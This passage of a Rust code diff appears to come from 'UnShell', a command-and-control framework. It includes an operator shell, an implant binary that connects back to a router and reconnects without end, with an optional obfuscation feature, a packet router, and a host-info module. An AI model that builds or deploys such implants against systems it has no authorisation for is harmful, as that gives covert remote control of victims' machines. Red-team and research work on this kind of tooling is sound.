eprintln!("readline error: {e}");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("Bye.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Command handlers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Handle one parsed command.
|
||||
///
|
||||
/// Returns `false` if the REPL should exit, `true` to continue.
|
||||
fn handle_command(
|
||||
cmd: Command,
|
||||
current_session: &mut Session,
|
||||
background_sessions: &mut Vec<Session>,
|
||||
base_path: &str,
|
||||
transport: &Arc<Mutex<TcpTransport>>,
|
||||
) -> bool {
|
||||
match cmd {
|
||||
Command::Exit => return false,
|
||||
|
||||
Command::Help => commands::print_help(),
|
||||
|
||||
Command::Use(path) => {
|
||||
// Normalise: if no leading slash, prepend /agents/
|
||||
let resolved = if path.starts_with('/') {
|
||||
path
|
||||
} else {
|
||||
format!("/agents/{path}")
|
||||
};
|
||||
current_session.current_path = resolved;
|
||||
println!("current path: {}", current_session.current_path);
|
||||
}
|
||||
|
||||
Command::List => {
|
||||
// Send GetProcedures to /router/nodes
|
||||
send_request_and_print(
|
||||
"/router/nodes",
|
||||
RequestType::GetProcedures,
|
||||
content::NONE,
|
||||
None,
|
||||
base_path,
|
||||
transport,
|
||||
);
|
||||
}
|
||||
|
||||
Command::Ls(sub_path) => {
|
||||
let path = sub_path
|
||||
.as_deref()
|
||||
.map(|p| current_session.resolve(p))
|
||||
.unwrap_or_else(|| current_session.current_path.clone());
|
||||
send_request_and_print(
|
||||
&path,
|
||||
RequestType::GetProcedures,
|
||||
content::NONE,
|
||||
None,
|
||||
base_path,
|
||||
transport,
|
||||
);
|
||||
}
|
||||
|
||||
Command::Read(sub_path) => {
|
||||
let path = current_session.resolve(&sub_path);
|
||||
send_request_and_print(
|
||||
&path,
|
||||
RequestType::Read,
|
||||
content::NONE,
|
||||
None,
|
||||
base_path,
|
||||
transport,
|
||||
);
|
||||
}
|
||||
|
||||
Command::Call { path, data } => {
|
||||
let full_path = current_session.resolve(&path);
|
||||
send_request_and_print(
|
||||
&full_path,
|
||||
RequestType::CallProcedure,
|
||||
content::UTF8_STRING,
|
||||
data.as_deref(),
|
||||
base_path,
|
||||
transport,
|
||||
);
|
||||
}
|
||||
|
||||
Command::Write { path, data } => {
|
||||
let full_path = current_session.resolve(&path);
|
||||
send_request_and_print(
|
||||
&full_path,
|
||||
RequestType::Write,
|
||||
content::UTF8_STRING,
|
||||
Some(&data),
|
||||
base_path,
|
||||
transport,
|
||||
);
|
||||
}
|
||||
|
||||
Command::Background => {
|
||||
let mut session = current_session.clone();
|
||||
session.active = false;
|
||||
background_sessions.push(session);
|
||||
current_session.current_path = "/".to_owned();
|
||||
println!("session backgrounded. Type 'sessions' to list.");
|
||||
}
|
||||
|
||||
Command::Sessions => {
|
||||
if background_sessions.is_empty() {
|
||||
println!("no background sessions");
|
||||
} else {
|
||||
for (i, sess) in background_sessions.iter().enumerate() {
|
||||
println!(" [{i}] {} ({})", sess.name, sess.current_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Send a `TreeRequest` and print the response.
|
||||
fn send_request_and_print(
|
||||
dst_path: &str,
|
||||
request_type: RequestType,
|
||||
content_type: &str,
|
||||
data: Option<&str>,
|
||||
src_path: &str,
|
||||
transport: &Arc<Mutex<TcpTransport>>,
|
||||
) {
|
||||
let request = TreeRequest {
|
||||
request_id: next_request_id(),
|
||||
request_type,
|
||||
content_type: content_type.to_owned(),
|
||||
data: data.map(|s| s.as_bytes().to_vec()).unwrap_or_default(),
|
||||
};
|
||||
|
||||
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&request) else {
|
||||
eprintln!("error: failed to serialise request");
|
||||
return;
|
||||
};
|
||||
|
||||
let header = PacketHeader {
|
||||
dst_path: dst_path.to_owned(),
|
||||
src_path: src_path.to_owned(),
|
||||
packet_type: PacketType::Request,
|
||||
};
|
||||
|
||||
let mut t = transport.lock().expect("transport lock poisoned");
|
||||
|
||||
if let Err(e) = t.send(&header, &payload) {
|
||||
eprintln!("send error: {e}");
|
||||
return;
|
||||
}
|
||||
|
||||
match t.recv() {
|
||||
Ok((_, resp_payload)) => {
|
||||
match rkyv::from_bytes::<unshell::protocol::TreeResponse, rkyv::rancor::Error>(
|
||||
&resp_payload,
|
||||
) {
|
||||
Ok(resp) => {
|
||||
if resp.data.is_empty() {
|
||||
println!("[{:?}]", resp.status);
|
||||
} else if let Ok(text) = std::str::from_utf8(&resp.data) {
|
||||
println!("{text}");
|
||||
} else {
|
||||
println!("[{} bytes, content-type: {}]", resp.data.len(), resp.content_type);
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("error: failed to deserialise response: {e}"),
|
||||
}
|
||||
}
|
||||
Err(e) => eprintln!("recv error: {e}"),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
//! # Session Management
|
||||
//!
|
||||
//! A `Session` represents an active connection context to a specific node path.
|
||||
//!
|
||||
//! The operator can have multiple named sessions open simultaneously. Each session
|
||||
//! has a "current path" (e.g., `/agents/abc123`) that prefixes commands.
|
||||
//! Sessions can be backgrounded and switched between without disconnecting.
|
||||
//!
|
||||
//! ## Session lifecycle
|
||||
//!
|
||||
//! ```text
|
||||
//! connect → handshake → session created
|
||||
//! ↓
|
||||
//! use agents/abc123 ← sets current_path
|
||||
//! ↓
|
||||
//! call shell/exec ← sends to /agents/abc123/shell/exec
|
||||
//! ↓
|
||||
//! background ← pushed to session list, detached
|
||||
//! ↓
|
||||
//! sessions ← lists all active sessions
|
||||
//! ↓
|
||||
//! use <session_id> ← reattaches
|
||||
//! ```
|
||||
|
||||
/// A named, backgroundable session context.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Session {
|
||||
/// Human-readable name (e.g., "abc123" or "session-1").
|
||||
pub name: String,
|
||||
/// The current working path (e.g., `/agents/abc123`).
|
||||
pub current_path: String,
|
||||
/// Whether this session is in the foreground.
|
||||
pub active: bool,
|
||||
}
|
||||
|
||||
impl Session {
|
||||
/// Create a new session at the given path.
|
||||
#[must_use]
|
||||
pub fn new(name: impl Into<String>, path: impl Into<String>) -> Self {
|
||||
Self {
|
||||
name: name.into(),
|
||||
current_path: path.into(),
|
||||
active: true,
|
||||
}
|
||||
}
|
||||
|
||||
/// Return the full path for a sub-path command.
|
||||
///
|
||||
/// If `sub_path` is absolute (starts with `/`), return it unchanged.
|
||||
/// Otherwise, append it to `current_path`.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// let sess = Session::new("abc123", "/agents/abc123");
|
||||
/// assert_eq!(sess.resolve("shell/exec"), "/agents/abc123/shell/exec");
|
||||
/// assert_eq!(sess.resolve("/router/nodes"), "/router/nodes");
|
||||
/// ```
|
||||
#[must_use]
|
||||
pub fn resolve(&self, sub_path: &str) -> String {
|
||||
if sub_path.starts_with('/') {
|
||||
sub_path.to_owned()
|
||||
} else {
|
||||
format!("{}/{sub_path}", self.current_path.trim_end_matches('/'))
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
-4
@@ -1,15 +1,35 @@
|
||||
cargo-features = ["trim-paths"]
|
||||
|
||||
# =============================================================================
|
||||
# ush-payload — The UnShell Implant Binary
|
||||
# =============================================================================
|
||||
#
|
||||
# This binary runs on the target machine. It:
|
||||
# 1. Connects to the router over TCP (reverse connection).
|
||||
# 2. Completes the handshake, registering its modules.
|
||||
# 3. Runs a recv loop, routing incoming TreeRequests to local Endpoints.
|
||||
#
|
||||
# Build with:
|
||||
# cargo build --profile minimize -p ush-payload
|
||||
#
|
||||
# The minimize profile strips symbols and optimises for binary size.
|
||||
|
||||
[package]
|
||||
name = "ush-payload"
|
||||
edition = "2024"
|
||||
version.workspace = true
|
||||
edition.workspace = true
|
||||
description = "UnShell implant binary"
|
||||
|
||||
[features]
|
||||
default = ["log"]
|
||||
default = ["log", "tcp"]
|
||||
log = ["unshell/log"]
|
||||
log_debug = ["unshell/log_debug"]
|
||||
tcp = ["unshell/tcp"]
|
||||
obfuscate = ["unshell/obfuscate_ref"]
|
||||
|
||||
[dependencies]
|
||||
unshell.path = "../"
|
||||
serde_json.workspace = true
|
||||
unshell = { workspace = true }
|
||||
rkyv = { workspace = true }
|
||||
|
||||
[lints]
|
||||
workspace = true
|
||||
|
||||
+225
-32
@@ -1,39 +1,232 @@
|
||||
#![macro_use]
|
||||
extern crate unshell;
|
||||
//! # ush-payload — UnShell Implant Binary
|
||||
//!
|
||||
//! The payload runs on the target machine. It:
|
||||
//!
|
||||
//! 1. Connects to the router over TCP (reverse connection: payload → router).
|
||||
//! 2. Sends a `HandshakeMessage` to register its modules.
|
||||
//! 3. Receives a `HandshakeAck`.
|
||||
//! 4. Enters the recv loop: deserialise `TreeRequest` → dispatch to `Tree` → send `TreeResponse`.
|
||||
//!
|
||||
//! ## Building
|
||||
//!
|
||||
//! ```text
|
||||
//! cargo build --profile minimize -p ush-payload
|
||||
//! ```
|
||||
//!
|
||||
//! The `minimize` profile strips symbols and optimises for binary size.
|
||||
//!
|
||||
//! ## Module registration
|
||||
//!
|
||||
//! Modules are registered in the `Tree` before the connection loop starts.
|
||||
//! Each module implements `Endpoint` and is registered at a path prefix.
|
||||
//! The router will route requests to these paths to this payload.
|
||||
//!
|
||||
//! ## Reconnection
|
||||
//!
|
||||
//! If the connection to the router drops, the payload waits 5 seconds and
|
||||
//! reconnects. This loop runs forever.
|
||||
|
||||
use unshell::{
|
||||
info,
|
||||
logger::PrettyLogger,
|
||||
tree::{Endpoint, Tree, TreeRequest},
|
||||
mod modules;
|
||||
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
|
||||
use unshell::protocol::{HandshakeAck, HandshakeMessage, NodeType, PacketHeader, PacketType};
|
||||
use unshell::transport::tcp::TcpTransport;
|
||||
use unshell::transport::Transport;
|
||||
use unshell::tree::Tree;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Configuration
|
||||
// Router address and node ID are baked at compile time via environment variables.
|
||||
//
|
||||
// Set before building:
|
||||
// ROUTER_HOST=1.2.3.4 ROUTER_PORT=9000 NODE_ID=abc123 cargo build -p ush-payload
|
||||
//
|
||||
// Defaults (for development) point to localhost.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// The router's IP or hostname. Override with ROUTER_HOST env var at build time.
|
||||
const ROUTER_HOST: &str = match option_env!("ROUTER_HOST") {
|
||||
Some(h) => h,
|
||||
None => "127.0.0.1",
|
||||
};
|
||||
/// The router's port. Override with ROUTER_PORT env var at build time.
|
||||
const ROUTER_PORT: &str = match option_env!("ROUTER_PORT") {
|
||||
Some(p) => p,
|
||||
None => "9000",
|
||||
};
|
||||
/// This payload's node ID (base62, unique per implant).
|
||||
/// Override with NODE_ID env var at build time.
|
||||
const NODE_ID: &str = match option_env!("NODE_ID") {
|
||||
Some(id) => id,
|
||||
None => "devpayload",
|
||||
};
|
||||
|
||||
struct EndpointTest;
|
||||
|
||||
impl Endpoint for EndpointTest {
|
||||
fn request(&mut self, request: TreeRequest) -> TreeRequest {
|
||||
info!("Got request");
|
||||
TreeRequest {
|
||||
request_type: request.request_type,
|
||||
path: request.path,
|
||||
content_type: request.content_type,
|
||||
data: request.data,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
PrettyLogger::init();
|
||||
let router_addr = format!("{ROUTER_HOST}:{ROUTER_PORT}");
|
||||
|
||||
info!("Initiated");
|
||||
// Build the module tree
|
||||
let mut tree = build_tree();
|
||||
|
||||
let mut tree = Tree::default();
|
||||
|
||||
tree.add_endpoint(EndpointTest, vec!["path1".to_string()]);
|
||||
|
||||
tree.request(TreeRequest {
|
||||
path: vec!["path1".to_string(), "path2".to_string()],
|
||||
request_type: unshell::tree::TreeRequestType::Read,
|
||||
content_type: "TEST".to_string(),
|
||||
data: Vec::new(),
|
||||
});
|
||||
// Connection loop — reconnects on any error
|
||||
loop {
|
||||
match connect_and_run(&router_addr, &mut tree) {
|
||||
Ok(()) => {
|
||||
// Clean disconnect — still reconnect
|
||||
eprintln!("[payload] disconnected, reconnecting in 5s...");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[payload] error: {e}, reconnecting in 5s...");
|
||||
}
|
||||
}
|
||||
thread::sleep(Duration::from_secs(5));
|
||||
}
|
||||
}
|
||||
|
||||
/// Register all modules in the tree.
|
||||
///
|
||||
/// Add new capabilities by registering additional `Endpoint` implementations here.
|
||||
fn build_tree() -> Tree {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/info", modules::info::InfoModule);
|
||||
tree
|
||||
}
|
||||
|
||||
/// Connect to the router, complete the handshake, and run the recv loop.
|
||||
///
|
||||
/// Returns when the connection is lost or an unrecoverable error occurs.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns an error string describing what went wrong.
|
||||
fn connect_and_run(
|
||||
router_addr: &str,
|
||||
tree: &mut Tree,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
eprintln!("[payload] connecting to {router_addr}...");
|
||||
let mut transport = TcpTransport::connect(router_addr)?;
|
||||
eprintln!("[payload] connected");
|
||||
|
||||
// Build the list of registered paths for the handshake
|
||||
let base_path = format!("/agents/{NODE_ID}");
|
||||
let registered = tree.registered_paths(&base_path);
|
||||
|
||||
// Send handshake
|
||||
let handshake = HandshakeMessage {
|
||||
node_id: NODE_ID.to_owned(),
|
||||
node_type: NodeType::Payload,
|
||||
registered_paths: registered,
|
||||
platform: std::env::consts::OS.to_owned(),
|
||||
};
|
||||
let handshake_payload = rkyv::to_bytes::<rkyv::rancor::Error>(&handshake)
|
||||
.map_err(|e| format!("failed to serialise handshake: {e}"))?;
|
||||
let handshake_header = PacketHeader {
|
||||
dst_path: "/router".to_owned(),
|
||||
src_path: base_path.clone(),
|
||||
packet_type: PacketType::Handshake,
|
||||
};
|
||||
transport.send(&handshake_header, &handshake_payload)?;
|
||||
eprintln!("[payload] handshake sent");
|
||||
|
||||
// Receive ack
|
||||
let (ack_header, ack_payload) = transport.recv()?;
|
||||
if ack_header.packet_type != PacketType::HandshakeAck {
|
||||
return Err(format!(
|
||||
"expected HandshakeAck, got {:?}",
|
||||
ack_header.packet_type
|
||||
)
|
||||
.into());
|
||||
}
|
||||
let ack: HandshakeAck =
|
||||
rkyv::from_bytes::<HandshakeAck, rkyv::rancor::Error>(&ack_payload)
|
||||
.map_err(|e| format!("failed to deserialise HandshakeAck: {e}"))?;
|
||||
|
||||
if !ack.accepted {
|
||||
return Err(format!(
|
||||
"router rejected registration: {}",
|
||||
ack.rejection_reason.unwrap_or_else(|| "no reason given".into())
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
eprintln!(
|
||||
"[payload] registered at {}",
|
||||
ack.assigned_base_path
|
||||
);
|
||||
|
||||
// Main recv loop
|
||||
recv_loop(&mut transport, tree, &base_path)
|
||||
}
|
||||
|
||||
/// Receive and dispatch `TreeRequest` packets until the connection drops.
|
||||
///
|
||||
/// For each request:
|
||||
/// 1. Read the packet header and payload.
|
||||
/// 2. Deserialise the payload as a `TreeRequest`.
|
||||
/// 3. Strip the base path prefix from the destination path to get the local path.
|
||||
/// 4. Dispatch to the `Tree`.
|
||||
/// 5. Serialise the `TreeResponse` and send it back.
|
||||
///
|
||||
/// Returns when a transport error occurs (disconnection, etc.).
|
||||
fn recv_loop(
|
||||
transport: &mut TcpTransport,
|
||||
tree: &mut Tree,
|
||||
base_path: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
loop {
|
||||
let (header, payload) = transport.recv()?;
|
||||
|
||||
if header.packet_type != PacketType::Request {
|
||||
eprintln!("[payload] unexpected packet type: {:?}", header.packet_type);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Deserialise the request
|
||||
let request =
|
||||
match rkyv::from_bytes::<unshell::protocol::TreeRequest, rkyv::rancor::Error>(
|
||||
&payload,
|
||||
) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[payload] failed to deserialise request: {e}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// Strip the base path to get the local path
|
||||
let local_path = header
|
||||
.dst_path
|
||||
.strip_prefix(base_path)
|
||||
.unwrap_or(&header.dst_path);
|
||||
|
||||
// Dispatch to the tree
|
||||
let response = tree.dispatch(request, local_path);
|
||||
|
||||
// Send response
|
||||
let response_payload = match rkyv::to_bytes::<rkyv::rancor::Error>(&response) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
eprintln!("[payload] failed to serialise response: {e}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let response_header = PacketHeader {
|
||||
dst_path: header.src_path.clone(),
|
||||
src_path: header.dst_path.clone(),
|
||||
packet_type: PacketType::Response,
|
||||
};
|
||||
|
||||
if let Err(e) = transport.send(&response_header, &response_payload) {
|
||||
return Err(e.into());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Default module: /info
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// Modules live in ush-payload/src/modules/
|
||||
// Add new capabilities by creating new files in that directory.
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
//! # Info Module
|
||||
//!
|
||||
//! Provides basic system information about the target at `/info`.
|
||||
//!
|
||||
//! ## Supported requests
|
||||
//!
|
||||
//! | Path | RequestType | Returns |
|
||||
//! |---|---|---|
|
||||
//! | `/info` | `Read` | UTF-8 string: OS name, arch, hostname |
|
||||
//! | `/info` | `GetProcedures` | List of available procedures |
|
||||
//!
|
||||
//! ## Example
|
||||
//!
|
||||
//! From the operator CLI:
|
||||
//! ```text
|
||||
//! unshell [agents/abc123]> read info
|
||||
//! linux x86_64 hostname=target-machine
|
||||
//! ```
|
||||
|
||||
use unshell::protocol::{
|
||||
content, ProcedureDescriptor, RequestType, ResponseStatus, TreeRequest, TreeResponse,
|
||||
};
|
||||
use unshell::tree::Endpoint;
|
||||
|
||||
/// Returns basic system information about the target host.
|
||||
pub struct InfoModule;
|
||||
|
||||
impl Endpoint for InfoModule {
|
||||
fn handle(&mut self, request: TreeRequest) -> TreeResponse {
|
||||
match request.request_type {
|
||||
RequestType::Read => handle_read(request),
|
||||
RequestType::GetProcedures => handle_get_procedures(request),
|
||||
_ => TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::UnsupportedOperation,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a one-line system summary.
|
||||
fn handle_read(request: TreeRequest) -> TreeResponse {
|
||||
let os = std::env::consts::OS;
|
||||
let arch = std::env::consts::ARCH;
|
||||
let hostname = hostname();
|
||||
let info = format!("os={os} arch={arch} hostname={hostname}");
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::UTF8_STRING.to_owned(),
|
||||
data: info.into_bytes(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a list of procedures this module supports.
|
||||
fn handle_get_procedures(request: TreeRequest) -> TreeResponse {
|
||||
let procedures = vec![ProcedureDescriptor {
|
||||
name: "read".to_owned(),
|
||||
description: "Returns os, arch, and hostname of this target".to_owned(),
|
||||
}];
|
||||
|
||||
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&procedures) else {
|
||||
return TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::ExecutionError,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
};
|
||||
};
|
||||
|
||||
TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::PROCEDURE_LIST.to_owned(),
|
||||
data: payload.to_vec(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the system hostname, or "unknown" if unavailable.
|
||||
fn hostname() -> String {
|
||||
// std::net::IpAddr doesn't give us hostname; use /etc/hostname or gethostname
|
||||
// For now, use a simple approach that doesn't require extra deps.
|
||||
std::fs::read_to_string("/etc/hostname")
|
||||
.map(|s| s.trim().to_owned())
|
||||
.unwrap_or_else(|_| "unknown".to_owned())
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//! # Payload Modules
|
||||
//!
|
||||
//! Each file in this directory implements one payload capability.
|
||||
//!
|
||||
//! ## Adding a new module
|
||||
//!
|
||||
//! 1. Create a new file `modules/mymodule.rs`.
|
||||
//! 2. Define a struct implementing [`unshell::tree::Endpoint`].
|
||||
//! 3. Add `pub mod mymodule;` here.
|
||||
//! 4. Register it in `main.rs`'s `build_tree()` function:
|
||||
//! `tree.register("/mymodule", modules::mymodule::MyModule);`
|
||||
//!
|
||||
//! ## Module path convention
|
||||
//!
|
||||
//! Modules are registered at relative paths (e.g., `/info`, `/shell`).
|
||||
//! The full path on the network is `{base_path}/{relative_path}`, e.g.,
|
||||
//! `/agents/abc123/info`.
|
||||
|
||||
pub mod info;
|
||||
@@ -0,0 +1,29 @@
|
||||
# =============================================================================
|
||||
# ush-router — The UnShell Router Binary
|
||||
# =============================================================================
|
||||
#
|
||||
# The router is a dumb packet relay. It:
|
||||
# 1. Accepts TCP connections from payload nodes and operator nodes.
|
||||
# 2. Reads the PacketHeader to determine the destination path.
|
||||
# 3. Forwards the packet to whichever node registered that path prefix.
|
||||
# 4. Has a small set of built-in endpoints at /router/... for node discovery.
|
||||
#
|
||||
# Run with:
|
||||
# cargo run -p ush-router -- --bind 0.0.0.0:9000
|
||||
#
|
||||
# The router binary is NOT no_std — it uses the full standard library.
|
||||
|
||||
[package]
|
||||
name = "ush-router"
|
||||
version.workspace = true
|
||||
edition.workspace = true
|
||||
description = "UnShell router/relay binary"
|
||||
|
||||
[dependencies]
|
||||
unshell = { workspace = true, features = ["tcp", "log"] }
|
||||
crossbeam-channel = { workspace = true }
|
||||
thiserror = { workspace = true }
|
||||
rkyv = { workspace = true }
|
||||
|
||||
[lints]
|
||||
workspace = true
|
||||
@@ -0,0 +1,42 @@
|
||||
//! # ush-router — UnShell Router Binary
|
||||
//!
|
||||
//! The router accepts TCP connections from all node types (payloads, operators)
|
||||
//! and routes packets between them based on path-prefix matching.
|
||||
//!
|
||||
//! ## Usage
|
||||
//!
|
||||
//! ```text
|
||||
//! ush-router --bind 0.0.0.0:9000
|
||||
//! ```
|
||||
//!
|
||||
//! ## Architecture
|
||||
//!
|
||||
//! ```text
|
||||
//! main thread
|
||||
//! └─ TcpListener loop
|
||||
//! └─ for each incoming connection:
|
||||
//! spawn node_thread(TcpStream)
|
||||
//!
|
||||
//! node_thread
|
||||
//! 1. Read HandshakeMessage → register in NodeRegistry
|
||||
//! 2. Send HandshakeAck
|
||||
//! 3. recv loop:
|
||||
//! Read PacketHeader + payload
|
||||
//! Look up dst_path in NodeRegistry
|
||||
//! If found: forward raw bytes to that node's channel
|
||||
//! If not found: send NoBranchError response to src_path
|
||||
//! 4. On disconnect: remove from NodeRegistry
|
||||
//!
|
||||
//! write_thread (per node)
|
||||
//! Receives bytes from channel → writes to TcpStream
|
||||
//! ```
|
||||
|
||||
mod node;
|
||||
mod registry;
|
||||
mod router;
|
||||
|
||||
fn main() {
|
||||
// TODO: parse --bind argument
|
||||
let bind_addr = "0.0.0.0:9000";
|
||||
router::run(bind_addr).expect("router failed");
|
||||
}
|
||||
@@ -0,0 +1,330 @@
|
||||
//! # Node Thread
|
||||
//!
|
||||
//! Each connected node runs in its own thread. The node thread:
|
||||
//!
|
||||
//! 1. Reads a `HandshakeMessage` from the new connection.
|
||||
//! 2. Registers the node in the `NodeRegistry`.
|
||||
//! 3. Sends a `HandshakeAck` back.
|
||||
//! 4. Enters the recv loop:
|
||||
//! - Read packet (header + payload raw bytes).
|
||||
//! - Look up `dst_path` in the registry.
|
||||
//! - If found: forward raw framed bytes to that node's channel.
|
||||
//! - If not found: send a `NoBranchError` response to the sender.
|
||||
//! 5. On disconnect: unregister the node and exit.
|
||||
//!
|
||||
//! ## Write thread
|
||||
//!
|
||||
//! A separate write-thread per node reads from the channel and writes to
|
||||
//! the `TcpStream`. This decouples the recv loop from potentially slow sends
|
||||
//! (e.g., a slow operator connection should not block a payload recv loop).
|
||||
//!
|
||||
//! ```text
|
||||
//! node_thread (recv)
|
||||
//! reads from TcpStream
|
||||
//! forwards to registry-lookup → channel
|
||||
//!
|
||||
//! write_thread
|
||||
//! reads from channel
|
||||
//! writes to TcpStream
|
||||
//! ```
|
||||
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use std::thread;
|
||||
|
||||
use crossbeam_channel::{unbounded, Receiver, Sender};
|
||||
use unshell::protocol::{
|
||||
HandshakeAck, HandshakeMessage,
|
||||
PacketHeader, PacketType, ResponseStatus, TreeResponse,
|
||||
content,
|
||||
};
|
||||
use unshell::transport::tcp::TcpTransport;
|
||||
use unshell::transport::Transport;
|
||||
|
||||
use crate::registry::{NodeEntry, NodeRegistry};
|
||||
|
||||
/// Time allowed for the connecting node to send its `HandshakeMessage`.
|
||||
const HANDSHAKE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(10);
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Spawn a node thread (and its associated write-thread) for a new connection.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `stream` — the accepted TCP stream for this node.
|
||||
/// * `registry` — shared node registry (wrapped in `Arc<Mutex>`).
|
||||
pub fn spawn_node(stream: TcpStream, registry: Arc<Mutex<NodeRegistry>>) {
|
||||
thread::spawn(move || {
|
||||
// Set the handshake timeout on the stream.
|
||||
if let Err(e) = stream.set_read_timeout(Some(HANDSHAKE_TIMEOUT)) {
|
||||
eprintln!("[router] failed to set handshake timeout: {e}");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut transport = TcpTransport::from_stream(stream);
|
||||
|
||||
// --- Handshake ---
|
||||
let handshake = match receive_handshake(&mut transport) {
|
||||
Ok(hs) => hs,
|
||||
Err(e) => {
|
||||
eprintln!("[router] handshake failed: {e}");
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let node_id = handshake.node_id.clone();
|
||||
eprintln!(
|
||||
"[router] node connected: id={} type={:?} paths={:?}",
|
||||
node_id, handshake.node_type, handshake.registered_paths
|
||||
);
|
||||
|
||||
// Check for duplicate node_id
|
||||
{
|
||||
let reg = registry.lock().expect("registry lock poisoned");
|
||||
if reg.node_list().iter().any(|n| n.node_id == node_id) {
|
||||
let ack = HandshakeAck {
|
||||
accepted: false,
|
||||
assigned_base_path: String::new(),
|
||||
rejection_reason: Some("duplicate_node_id".into()),
|
||||
};
|
||||
let _ = send_handshake_ack(&mut transport, &node_id, &ack);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Create a channel for the write-thread
|
||||
let (tx, rx): (Sender<Vec<u8>>, Receiver<Vec<u8>>) = unbounded();
|
||||
|
||||
// Register the node
|
||||
let assigned_path = handshake
|
||||
.registered_paths
|
||||
.first()
|
||||
.cloned()
|
||||
.unwrap_or_else(|| format!("/{}", node_id));
|
||||
|
||||
let connected_at = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0);
|
||||
|
||||
{
|
||||
let mut reg = registry.lock().expect("registry lock poisoned");
|
||||
reg.register(NodeEntry {
|
||||
node_id: node_id.clone(),
|
||||
node_type: handshake.node_type,
|
||||
registered_paths: handshake.registered_paths,
|
||||
connected_at,
|
||||
tx,
|
||||
});
|
||||
}
|
||||
|
||||
// Send ack
|
||||
let ack = HandshakeAck {
|
||||
accepted: true,
|
||||
assigned_base_path: assigned_path,
|
||||
rejection_reason: None,
|
||||
};
|
||||
if let Err(e) = send_handshake_ack(&mut transport, &node_id, &ack) {
|
||||
eprintln!("[router] failed to send ack to {node_id}: {e}");
|
||||
let mut reg = registry.lock().expect("registry lock poisoned");
|
||||
reg.unregister(&node_id);
|
||||
return;
|
||||
}
|
||||
|
||||
// Remove the read timeout for the main recv loop
|
||||
if let Err(e) = transport.stream_ref().set_read_timeout(None) {
|
||||
eprintln!("[router] failed to clear read timeout: {e}");
|
||||
}
|
||||
|
||||
// Spawn the write-thread
|
||||
// Clone the stream via try_clone so the write-thread has its own handle.
|
||||
let write_stream = match transport.stream_ref().try_clone() {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
eprintln!("[router] failed to clone stream for write-thread: {e}");
|
||||
let mut reg = registry.lock().expect("registry lock poisoned");
|
||||
reg.unregister(&node_id);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let write_node_id = node_id.clone();
|
||||
thread::spawn(move || {
|
||||
write_loop(write_stream, rx, &write_node_id);
|
||||
});
|
||||
|
||||
// --- Main recv loop ---
|
||||
recv_loop(&mut transport, &node_id, ®istry);
|
||||
|
||||
// Cleanup
|
||||
eprintln!("[router] node disconnected: {node_id}");
|
||||
let mut reg = registry.lock().expect("registry lock poisoned");
|
||||
reg.unregister(&node_id);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Recv loop
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Read packets from this node and route them to the appropriate destination.
|
||||
fn recv_loop(
|
||||
transport: &mut TcpTransport,
|
||||
source_node_id: &str,
|
||||
registry: &Arc<Mutex<NodeRegistry>>,
|
||||
) {
|
||||
loop {
|
||||
